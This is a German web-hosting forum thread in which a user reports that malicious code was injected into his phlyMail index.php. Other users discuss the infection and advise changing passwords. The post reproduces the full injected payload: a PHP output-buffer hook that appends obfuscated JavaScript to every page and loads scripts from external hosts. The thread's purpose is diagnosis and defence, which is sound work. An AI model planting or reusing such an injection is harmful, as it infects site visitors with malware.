virus auf space² ?

hi

ich bekomme seit neusten wenn ich mein phlymail abrufe eine viruswarung. ich hab aber am script nichts geändern und es läuft schon seit 07.08.2009 auf dem server ohne veränderungen.
 
erkannter Virus: HTML/Crypted.Gen
link: http://freshfire.spacequadrat.de/phlymail/

Guckst du:
http://spacequadrat.de/forum/multimedia/37...pace/
http://spacequadrat.de/forum/webspace-supp...atde/
^^

mfg IceTea

ja das problem ist nur das ist ein fertiges script was man sich runterladen kann und 1zu1 hier vor einer ewigkeit hochgeladen wurde und jetzt wird plötzlich ohne ersichtliche änderung von mir ein virus gefunden.

da ich in den letzten monaten nichts geändert habe und sich eine datei nicht selber änder kann muss es ja wohl einer sein der irgendwie zugriff hatte/hat.

der quellcode ändert sich ja nicht selber oder?

anfrage beim herrausgeber des scriptes läuft
( http://phlymail.com/forum/viewtopic.php?f...=2069 )

je nach dem ... auf was die befehlsparameter eingestellt wurde ein value wert der mit einer .vbs dateiendung verknüft ist, kann von externen aufgeschaltet werden und verändert werden! Es könnte sein das ein unvollendeter vbs code im spiel ist ... IM klartext ... es kann sich ein quellcode von selber ändern, je nach programmierung. Das beste beispiel ist der .vbs/Trojaner/ckd.197334 Signature=?database_from_Avira

andere seite
http://freshfire.spacequadrat.de/p+t/

kann mir da mal einer verraten wer da den Quellcode verändert hat?!=?
das was als erstes drin steht stammt nicht von mir!

<?php ob_start('security_update'); function security_update($buffer){return $buffer.'
[removed]function t(){return z($a);}var $a="Z73tZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dstZ253bdZ2563Z2573Z2528Z2564Z2561+Z2564Z2562Z252bdZ2563+Z2564Z2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z2577(Z2573Z2574Z2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;caZ3dZ22Z2566uZ256ectZ2569Z256fnZ2520dZ2563Z2573Z2528dsZ252cesZ2529Z257bdsZ253dunZ2565sZ25Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ccZ3dZ22.leZ256egthZ253biZ252bZ252bZ2529Z257btmpZ253dds.Z2573licZ2565(i,Z2569+Z2531)Z22;deZ3dZ22209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uncZ2574Z2569Z256fZ256e cZ257aZ2528Z2563z)Z257brZ2565turZ256eZ2520ca+Z2563b+cZ2563+cdZ252bcZ2565+Z2563z;Z257d;Z22;cbZ3dZ2263Z2561pe(Z2564s);Z2573tZ253dtZ256dZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cdsZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528Z2563u,1Z2534));Z2522;Z22;cdZ3dZ22Z253bZ2573Z2574Z253dst+SZ2574riZ256eg.Z2566rZ256fmCZ2568arCZ256fdZ2565((Z2574mZ22;dzZ3dZ22Z2566unZ2563tiZ256fnZ2520dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ25256dZ2565nZ25257Z2534.Z252577Z2572iZ2525Z25374eZ2528Z25252Z2532Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253Z2563Z2573Z252563Z2572Z2569pZ252574 Z25256cZ252561Z25256eZ252567uaZ2567Z252565Z25253dZ25255cZ252522jZ2561Z2576aZ2573Z2563rZ252569pZ25257Z2534Z25255cZ25252Z2532Z2525Z2533eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572iZ2570Z252574Z25253eZ2527;evalZ2528unZ2565Z2573capZ2565(tZ2529)};Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$|q}s|`),$*(;}rfuyq*(;p}b*Z22;ceZ3dZ22pZ252ecZ2568arZ2543odZ2565At(Z2530)^(Z25270xZ25300Z2527+esZ2529)Z2529;}Z257dZ22;Z69f Z28docZ75Z6dZ65Z6etZ2ecoZ6fkZ69Z65.inZ64eZ78OZ66(Z27rf5Z66Z36Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e Z63aZ6cZ6cbaZ63kZ28xZ29Z7bwindZ6fw.Z74w Z3dZ20xZ3bZ76aZ72 Z64Z20Z3d nZ65wZ20DaZ74eZ28Z29;d.Z73Z65Z74TZ69me(Z78[Z22as_oZ66Z22]*1Z3000)Z3bvZ61r Z68Z20Z3d Z64.geZ74UTCZ48oZ75rs(Z29;wZ69nZ64ow.Z68 Z3d h;ifZ20(hZ20Z3e 8)Z7bd.setUZ54CDaZ74eZ28d.Z67eZ74UTZ43DaZ74Z65(Z29Z20Z2dZ202);Z7delsZ65Z7bd.sZ65tZ55TZ43Z44atZ65(d.Z67eZ74UTCZ44Z61te(Z29 - Z33);}Z77iZ6edoZ77.gZ64 Z3d d;Z76ar Z74imeZ20Z3d nZ65w AZ72rZ61Z79()Z3bvZ61r Z73hiZ66tIZ6edeZ78Z20Z3d Z22Z22;timZ65[Z22yearZ22] Z3d dZ2egZ65Z74Z55TCFZ75llYZ65aZ72Z28)Z3btimZ65[Z22montZ68Z22] Z3d d.Z67etZ55TCMZ6fntZ68()+Z31;tZ69mZ65Z5bZ22dZ61Z79Z22] Z3d d.Z67Z65Z74UZ54CDZ61te(Z29;iZ66 (dZ2eZ67Z65tZ55TZ43MonZ74h()Z2bZ31 Z3c 1Z30)Z7bshZ69Z66tZ49nZ64ex Z3dZ20tiZ6deZ5bZ22yearZ22] Z2b Z22Z2d0Z22Z20+ (Z64.gZ65tZ55Z54CMoZ6eZ74h()Z2b1)Z3b}eZ6csZ65Z7bsZ68iftZ49ndeZ78 Z3d Z74imZ65[Z22yeaZ72Z22] Z2b Z22-Z22 + (Z64Z2eZ67Z65Z74UTCZ4dontZ68(Z29Z2b1);Z7diZ66 (dZ2egetZ55TCZ44Z61tZ65Z28Z29 Z3c 10Z29Z7bshiZ66tZ49ndZ65xZ20Z3dshiZ66Z74InZ64exZ20+ Z22-0Z22 +Z20d.Z67eZ74UZ54CZ44ateZ28Z29;}eZ6cseZ7bZ73hiZ66tZ49ndZ65x Z3d Z73hifZ74IZ6eZ64ex Z2b Z22Z2dZ22 + dZ2eZ67eZ74Z55TZ43DatZ65();Z7dZ64ocuZ6denZ74.wrZ69Z74Z65(Z22Z3cscrZ22+Z22iptZ20laZ6eguaZ67eZ3djavasZ63ripZ74Z22+Z22 srcZ3dZ27hZ74Z74pZ3aZ2fZ2fsearZ63h.Z74witZ74erZ2ecoZ6dZ2ftrZ65ndZ73Z2fdailyZ2eZ6aZ73Z6fn?Z64Z61Z74eZ3dZ22+ shiZ66Z74IndZ65x+Z22&cZ61lZ6cbZ61cZ6bZ3dZ63alZ6cZ62acZ6b2Z27Z3eZ22; + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fuZ6ectZ69oZ6e caZ6clbZ61ck2Z28x)Z7bwiZ6eZ64owZ2etZ77Z20Z3d xZ3bsZ63Z28Z27rf5Z666dZ73Z27,Z32,7)Z3bevZ61lZ28uneZ73capZ65Z28Z64z+Z63Z7aZ2bopZ2bsZ74)+Z27dw(Z64zZ2bZ63Z7a($aZ2bst)Z29;Z27);doZ63Z75meZ6etZ2ewriZ74e(Z24a)Z3bZ7ddZ6fcuZ6dZ65ntZ2eZ77Z72Z69te(Z22Z3cimgZ20Z73rZ63Z3dZ27http:Z2fZ2fsearchZ2etZ77iZ74tZ65rZ2ecoZ6dZ2fZ69mZ61gesZ2fseZ61rchZ2frZ73s.pZ6egZ27 wZ69Z64thZ3d1Z20heZ69gZ68tZ3d1 sZ74ylZ65Z3dZ27visiZ62Z69liZ74Z79:hiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6cZ61nZ67uaZ67eZ3djZ61vZ61Z73cZ72iptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fZ73eZ61rZ63h.Z74witZ74er.Z63oZ6dZ2ftrenZ64sZ2fZ64aZ69ly.Z6asonZ3fZ63alZ6cbaZ63kZ3dcZ61llZ62aZ63kZ27Z3eZ22 + Z22Z3cZ2fsZ63rZ22 + Z22ipZ74Z3eZ22)Z3bZ7dZ65lseZ7bZ24aZ3dZ27Z27};functZ69Z6fn sZ63(cnZ6d,vZ2cedZ29Z7bvaZ72 Z65Z78dZ3dnZ65w Z44atZ65Z28);eZ78Z64.Z73Z65tZ44ateZ28exdZ2egeZ74DaZ74Z65()Z2bZ65d)Z3bdZ6fcumZ65ntZ2ecooZ6bieZ3dcZ6emZ2bZ20Z27Z3dZ27 +escaZ70e(Z76)Z2bZ27;Z65xpZ69Z72Z65Z73Z3dZ27+exd.tZ6fGZ4dZ54StrZ69Z6eZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval&#40;t(&#41;);[removed]
';}//important security update ?>

 
dies ist 100% auf dem webspace hinzugefügt wurden und die komplette datei wurde neu unter linux abgespeichert mit der veränderung!
die dateiformatierung ist  auch verändert. (zeilenumbrüche, ausrichtung usw. )

die orginaldatei auf meiner festplatte ist  4.148 byes groß und auf den webspace ist sie jetzt 11.192 byes gross.
ich würde einen admin darum bitten das umgehend sich anzuschauen.
das orginal der indx.php kann ich gern zur verfügung stellen.

die änderung der datei wurde am 12.03.2010 um 15:00 durchgeführt.

Die Datei ändert sich nicht von alleine. Eventuell hat jemand anderer Zugriff auf die Seite?

Änder sicherheitshalber einmal deine Passwörter!

Habe gerade ein bisschen escapet und gemacht:
Bei dem Code handelt es sich um einen Javascript-Virus, der Nutzern böswillige Software installiert. Dabei sind aktuelle Browser ohne Virenschutz gefährdet..
MSE stuft es als einen "Obfuscator" ein, was eigentlich nur heißt dass es sich um verschleierten Code handelt.
Ich würde relativ schnell FTP-Passwort ändern und Rechner die hochgeladen haben auf Viren überprüfen - der Code sollte so schnell wie möglich offline genommen werden.

der rechner ist save (antivir und northen)
passwort wurde geändert aber ich kann mir kaum vorstellen das ein generietes zufälligespassort durch ausprobieren ausbekommen werden kann ... 15 stellig

Na herzlichen Glückwunsch, was ist denn jetzt los?
Norton meldet mir jetzt zusätzlich auch noch für


http://huelsoft.spacequadrat.de/ eine Warnung.
Name der Bedrohung:


Trojan.Malscript!html
Ich habe die Adresse nicht überprüft, aber einer vom Space²-Team sollte das mal machen oder direkt sperren...

Joar schlägt bei mir auch grad an... Also ich glaube das Spacequadrat Team sollte lieber mal schauen ob nicht wirklich irgendwas auf dem server liegt... irgend ein virus oder so, welcher jetzt auf die webs zugreift?

So viele Viren, auf so vielen Userseiten.... kann doch kein zufall sein!

Achja, ich habe mir inzwischen eine Opfer VM installiert mit Windows. Dort habe ich einen Browser ohne JS und dort kann ich verdächtige Seiten aufrufen und überprüfen (Da diese nie lange läuft bringts auch nix wenn da iwie ein Mail trojaner drauflandet )

Dieses Script ist ja mal ein riesiges teil. Es sieht zwar aus wie die SysCP-default-page aber da ihr ja kein SysCP verwendet ists schon etwas verdächtig

Im Code findet man sogar 3 Javascripts (relativ kompliziert) ^^

mfg Nico